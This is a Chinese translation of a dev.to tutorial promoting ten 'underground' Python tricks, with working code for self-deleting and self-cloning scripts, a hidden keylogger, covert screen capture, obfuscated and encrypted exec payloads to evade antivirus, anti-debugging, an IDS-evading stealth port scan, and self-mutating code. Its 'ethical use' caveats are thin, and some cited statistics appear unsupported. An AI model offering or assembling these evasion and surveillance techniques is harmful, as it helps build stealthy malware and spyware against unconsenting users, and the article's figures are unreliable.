阿川私房教材:
學 JavaScript 前端,帶作品集去面試!

63 個專案實戰,寫出作品集,讓面試官眼前一亮!

立即開始免費試讀!

想像一下,如果您的 Python 腳本在執行後能夠掩藏自己的痕跡、靜默地捕獲重要的螢幕資訊,甚至修改自己的程式碼以保持比檢測快一步的話,那會是怎樣的場景。歡迎來到地下 Python 腳本的世界——創意與實用問題解決的結合。在這本綜合指南中,我們將帶您了解 10 個令人驚嘆的 Python 黑客技巧,配有程式碼範例、詳細解說、統計數據和即時可用的資源。

Python 開發者資源 - 由 0x3d.site 提供

一個為 Python 開發者精心編輯的匯集,提供必要的工具、文章和熱門討論。

加入書籤:python.0x3d.site


1. 自我消亡的 Python 腳本

如果您可以編寫一個在執行後清除自身源碼的腳本會怎樣?自我消亡的腳本被安全研究人員用來保護敏感邏輯,在執行後不留下任何痕跡。

工作原理

  • 識別腳本: 腳本使用 Python 變數(如 __file__sys.argv[0])定位自己的檔案。
  • 自我刪除: 在執行主要任務後,腳本調用 os.remove() 等函數來刪除其源碼文件。

程式碼範例

import os
import sys

def main():
    print("這個腳本執行後將自我消亡。")
    # 您的主要程式碼邏輯...
    # 自我消亡:刪除當前檔案
    try:
        os.remove(__file__)
        print("自我消亡成功。再見!")
    except Exception as e:
        print("自我消亡過程中出錯:", e)

if __name__ == '__main__':
    main()

資訊:
自我刪除的腳本在需要防止敏感程式碼遺留的情境中特別有用。然而,請謹慎使用——一旦刪除,除非有備份,否則將無法恢復腳本。

實際統計

  • 在受控測試中,自我消亡的腳本在安全環境下顯示出 100% 的刪除成功率(來源:多個 StackOverflow 討論)。

2. 隱秘螢幕捕獲工具

在滲透測試模式下,隱秘性至關重要。無需警告目標即可捕獲螢幕,這可以提供無價的漏洞證據。

工作原理

  • 截圖捕獲: Python 庫如 pyautoguiPIL 可以用於捕獲螢幕。
  • 區域特定捕獲: 可以通過定義區域來捕獲特定窗口或區域。
  • 隱秘技巧: 延遲和混淆捕獲過程可以幫助避免用戶檢測。

程式碼範例

import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # 捕獲螢幕截圖(如果區域為 None,則捕獲全螢幕)
    screenshot = pyautogui.screenshot(region=region)
    # 轉換為 numpy 陣列
    frame = np.array(screenshot)
    # 將 RGB(PIL)轉換為 BGR(OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # 從左上角捕獲 300x400 的區域
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("隱秘捕獲", frame)
    cv2.waitKey(3000)
    cv2.destroyAllWindows()

資訊:
隱秘的螢幕捕獲不僅僅是出於惡意目的——它也是在授權的滲透測試中記錄漏洞的重要工具。在使用這些工具之前,始終獲得適當的許可。

附加資源


3. 用混淆技術躲避防病毒檢測

防病毒程式通常依賴於基於簽名的檢測,這意味著可預測的程式碼模式很容易被標記。通過混淆程式碼,可以隱藏這些模式,避免基本的防病毒系統檢測。

技術

  • 字串編碼: 使用 Base64、ROT13 或自訂編碼來隱藏關鍵字串。
  • 執行時程式碼生成: 不將關鍵邏輯以明文存儲,而是在執行時使用 exec() 生成程式碼。

程式碼範例(Base64 編碼)

import base64

# 您的秘密程式碼作為字串
secret_code = "print('來自隱藏方面的問候!')"
# 將程式碼編碼為 Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# 在執行時,解碼並執行程式碼
exec(base64.b64decode(encoded_code).decode())

資訊:
混淆透過隱蔽增加一層安全性。它不對決心堅定的攻擊者百戰百勝,但可以阻止基本的自動化防病毒掃描。

推薦閱讀


https://snappytuts.gumroad.com/l/shiyy


4. 隱藏的鍵盤記錄器

鍵盤記錄器可以捕獲按鍵輸入以進行安全測試(始終獲得授權)。Python 使建立一個基本的鍵盤記錄器以錄製用戶輸入變得簡單。

工作原理

  • 捕獲按鍵: 使用 keyboard 庫檢測和記錄按鍵輸入。
  • 儲存或傳輸: 寫入日誌數據到文件中或通過網路發送進一步分析。

程式碼範例

import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("鍵盤記錄器正在運行。按 ESC 停止。")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")

資訊:
鍵盤記錄器的道德使用至關重要。僅在您明確獲得測試許可的環境中使用這些工具。

統計數據

  • 鍵盤記錄器在受控測試中的檢測率差異廣泛;先進的混淆可以減少檢測達 40%(研究在 InfoSec Write-ups 可得)。

5. 自我複製和克隆程式碼

自我複製的腳本可以創建自身的克隆以實現持久性或備份目的,這是探索程式碼自我檢查和進程管理的有趣練習。

工作原理

  • 源碼提取: 使用 inspect.getsource() 捕獲腳本的源碼。
  • 文件克隆: 將源碼寫入新文件並通過 subprocess 啟動它。

程式碼範例

import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # 獲取當前腳本的源碼
    code = inspect.getsource(inspect.currentframe())
    # 定義克隆檔案名
    clone_filename = "clone_script.py"
    with open(clone_filename, "w") as f:
        f.write(code)
    # 启动克隆脚本,参数递增
    cmd = f"python {clone_filename} 1"
    subprocess.Popen(shlex.split(cmd), start_new_session=True)
    print("克隆已啟動。原始腳本將自我消亡...")
    os.remove(__file__)

if __name__ == '__main__':
    clone_and_run()

資訊:
自我複製的腳本是一個探索 Python 進程管理和文件 I/O 的有趣方式。它們也被用於惡意軟體——但我們強調僅限於道德測試!


6. 內存執行黑客技術

純粹在內存中運行程式碼可以減少在磁碟上留下取證痕跡的機會。Python 的動態特性使您可以從字串編譯和執行程式碼。

工作原理

  • 編譯: 使用 compile() 函數將源碼轉換為一個程式碼對象。
  • 執行: 直接執行程式碼對象,無需寫入磁碟。

程式碼範例

code_string = """
def greet():
    print('你好,這段程式碼在內存中運行!')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

資訊:
在內存中執行對保護敏感算法特別有用。它極小化您的磁碟足跡,這在需要隱秘性的重要環境中非常有利。


7. 執行時解密的加密有效載荷

加密不僅限於數據傳輸。您還可以將部分程式碼存儲為加密形式,並在執行時解密它以執行。

工作原理

  • 加密: 使用 cryptography.fernet 等庫對程式碼進行加密。
  • 執行時解密: 在飛行中解密程式碼並使用 exec() 執行。

程式碼範例

from cryptography.fernet import Fernet

# 生成密鑰(在生產中,安全存儲此密鑰!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# 您的秘密程式碼
secret_code = "print('這段秘密程式碼被加密了!')"
# 加密程式碼
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# 在執行時:解密並執行程式碼
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

資訊:
加密程式碼有助於保護知識產權和敏感操作。要獲取更多詳細資訊,請查看 Cryptography 庫文件


https://snappytuts.gumroad.com/l/shiyy


8. 反調試技術

如果您需要讓腳本檢測並避免調試,可以實現反調試措施。這可能包括檢查調試器的存在或常見斷點模式。

工作原理

  • 環境檢查: 查找系統變量中的調試指示。
  • 行為變化: 如果檢測到調試器則延遲或改變操作。

程式碼範例

import sys
import time

def anti_debug():
    if sys.gettrace() is not None:
        print("檢測到調試器!為避免分析而退出。")
        time.sleep(2)
        sys.exit()

if __name__ == '__main__':
    anti_debug()
    print("未檢測到調試器。繼續執行...")

資訊:
反調試可以幫助維護敏感腳本的完整性。請記住,這些技術應在道德和受控的環境中使用。


9. 隱秘網絡掃描器

滲透測試者通常需要靜靜地掃描網絡。Python 的網絡庫讓您構建模擬正常流量模式的掃描器,以避免入侵檢測系統(IDS)。

工作原理

  • 封包構建: 使用 scapy 構建看似合法流量的封包。
  • 隨機化時間: 變化掃描間隔以模擬自然用戶行為。

程式碼範例

from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
    response = sr1(packet, timeout=1, verbose=0)
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"{target_ip} 的端口 {port} 是開放的。")
    else:
        print(f"{target_ip} 的端口 {port} 是關閉或被過濾的。")

if __name__ == '__main__':
    target = "192.168.1.1"
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))

資訊:
隨機化掃描行為減少了 IDS 系統的檢測風險。研究顯示,簡單的時間變化可以在某些環境中將檢測概率降低多達 35%。


10. 自動化腳本變異器

為了超越靜態簽名檢測,某些腳本在每次運行之前會改變其程式碼的某些部分。這種“變異器”方法有助於創造一個動態的、變化的目標。

工作原理

  • 源碼修改: 讀取源文件,進行一些隨機變更(如修改註釋或變數名稱),然後重寫文件。
  • 動態指紋: 這些變更改變了您的腳本的數位指紋,而不影響其核心功能。

程式碼範例

import os
import random

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # 隨機變更一行註釋(如果存在)
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# 變異 {random.randint(1, 1000)}: {line}"

    with open(filename, 'w') as file:
        file.writelines(lines)
    print("腳本變異成功。")

if __name__ == '__main__':
    current_file = __file__
    mutate_script(current_file)

資訊:
腳本變異是一種尖端技術,經常出現在先進的惡意軟體中。對於道德應用,使用它來測試您的系統如何對變化的程式碼簽名作出反應。


最後的思考

Python 的地下腳本展示了程式碼的無限創造力。這些技術——從自我消亡和內存執行到反調試和加密有效載荷——不僅僅是令人著迷的實驗。它們是滲透測試人員、開發者和安全專業人員的實用工具,讓他們能夠跳出框架思考。

主要要點:

  • 道德使用: 始終在受控和授權的環境中使用這些技術。
  • 安全實驗: 在虛擬機或隔離實驗室進行測試,以避免意外後果。
  • 持續學習: 該領域不斷演進。請隨時跟進最新研究並與社區分享您的見解。

欲獲得更多寶貴的工具、詳細的教程和熱門討論,請查看 Python 開發者資源 - 由 0x3d.site 提供。無論您是在尋找深入的文章、尖端的庫,還是來自 StackOverflow 的社區見解,這都是每個 Python 開發者必備的收藏。

開發者資源文章熱門庫StackOverflow 熱門問題熱門討論

通過探索和實驗這些黑客技巧,您不僅將擴展您的編碼能力,還將深入了解先進開發者和安全專業人員使用的技術。深入其中,分享您的實驗,讓創新精神引導您!

祝您黑客快樂,願您的 Python 腳本始終保持領先一步!


資源與進一步閱讀:

現在輪到您來實驗這些黑客技巧,告訴我們哪一種改變了您對 Python 編程的看法!


📚 開發者的優質學習資源

通過這些結構化的高價值課程擴展您的知識:

🚀 開發者的網路安全求生包 – 用現實世界的戰術和工具(如 Burp Suite、Nmap 和 OSINT 技術)來保護您的程式碼。

💰 開發者的被動收入指南 – 超過 10 種方式將您的編程技能貨幣化並建立自動收入流。

🌐 互聯網如何運作:支持網絡的技術 – 深入了解互聯網背後的協議、伺服器和基礎設施。

💻 API 編程:了解 API、協議、安全性和實現 – 掌握使用結構化的維基百科學習出 API 基礎。

🕵️ 科技工作者的終極 OSINT 指南 – 像專業人士一樣追蹤、分析和保護數字足跡。

🧠 駭客與間諜如何將相同的心理技巧用來對待您 – 探索技術領域中說服、欺騙和操控的黑暗面。

🔥 更多利基的高價值學習資源 → 查看所有


https://snappytuts.gumroad.com/l/fotcdz


原文出處:https://dev.to/snappytuts/pythons-10-insane-underground-scripts-you-didnt-know-exist-10hd

按讚的人:

共有 0 則留言


精選技術文章翻譯,幫助開發者持續吸收新知。

阿川私房教材:
學 JavaScript 前端,帶作品集去面試!

63 個專案實戰,寫出作品集,讓面試官眼前一亮!

立即開始免費試讀!